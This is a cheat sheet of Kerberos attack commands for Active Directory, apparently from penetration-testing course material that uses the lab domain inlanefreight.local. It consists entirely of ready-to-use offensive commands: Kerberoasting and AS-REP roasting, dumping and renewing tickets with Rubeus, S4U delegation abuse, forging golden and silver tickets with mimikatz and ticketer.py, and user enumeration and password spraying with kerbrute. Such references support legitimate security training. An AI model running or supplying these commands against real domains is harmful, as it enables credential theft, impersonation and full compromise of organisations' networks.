

# KERBEROS ATTACKS

## CHEAT SHEET

Command	Description
<b>Invoke-Kerberoast</b>	Get Kerberoastable accounts & hashes on Windows
<b>GetUserSPNs.py inlanefreight.local/pixis</b>	Get Kerberoastable accounts & hashes on Linux
<b>Get-DomainUser -UACFilter DONT_REQ_PREAUTH</b>	Get AS-Rep roastable accounts & hashes on Windows
<b>GetNPUsers.py inlanefreight.local/pixis</b>	Get AS-Rep roastable accounts & hashes on Linux
<b>Rubeus.exe monitor /interval:5</b>	Monitor TGT copies in TGS every 5 seconds (Unconstrained Delegation)
<b>Rubeus.exe asktgs /ticket:&lt;b64 ticket&gt; /service:&lt;SPN&gt; /ptt</b>	Get a TGS using a TGT
<b>Rubeus.exe renew /ticket:&lt;b64 ticket&gt; /ptt</b>	Renew a TGT and pass it in memory
<b>Get-DomainComputer -TrustedToAuth</b>	Get service accounts with constrained delegation on Windows

Command	Description
<code>Rubeus.exe s4u /impersonateuser:&lt;User&gt; /msdssp&lt;SPN&gt; /altservice:&lt;SRV&gt; /user:&lt;USR&gt; /rc4:&lt;NT Hash&gt; /ptt</code>	Perform a S4U2* attack on Windows
<code>findDelegation.py inlanefreight.local/pixis</code>	Get service accounts with delegation on Linux
<code>getST.py -spn &lt;SPN&gt; -hashes :&lt;NT Hash&gt; 'domain/user' -impersonate &lt;user&gt;</code>	Perform a S4U2* attack on Linux
<code>mimikatz # kerberos::golden /domain:&lt;domain&gt; /user:&lt;user&gt; /sid:&lt;Domain SID&gt; /rc4:&lt;krbtgt NT hash&gt; /ptt</code>	Forge a golden ticket on Windows
<code>ticketer.py -nthash &lt;krbtgt NT hash&gt; -domain-sid :&lt;Domain SID&gt; -domain &lt;domain&gt; &lt;user&gt;</code>	Forge a golden ticket on Linux
<code>mimikatz # kerberos::golden /domain:inlanefreight.local /user:&lt;user&gt; /sid:&lt;Domain SID&gt; /rc4: &lt;Service account NT hash&gt; /target:&lt;target service account&gt; /service:&lt;service&gt; /ptt</code>	Forge a silver ticket on Windows
<code>ticketer.py -nthash &lt;Service account NT hash&gt; -domain-sid &lt;Domain SID&gt; -domain &lt;domain&gt; -spn &lt;SPN&gt; &lt;User&gt;</code>	Forge a silver ticket on Linux
<code>Rubeus.exe dump /luid:0x89275d /service:krbtgt</code>	Dumps TGT in memory
<code>kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local</code>	Enumerate user accounts via Kerberos
<code>kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local</code>	Password spraying via TGT request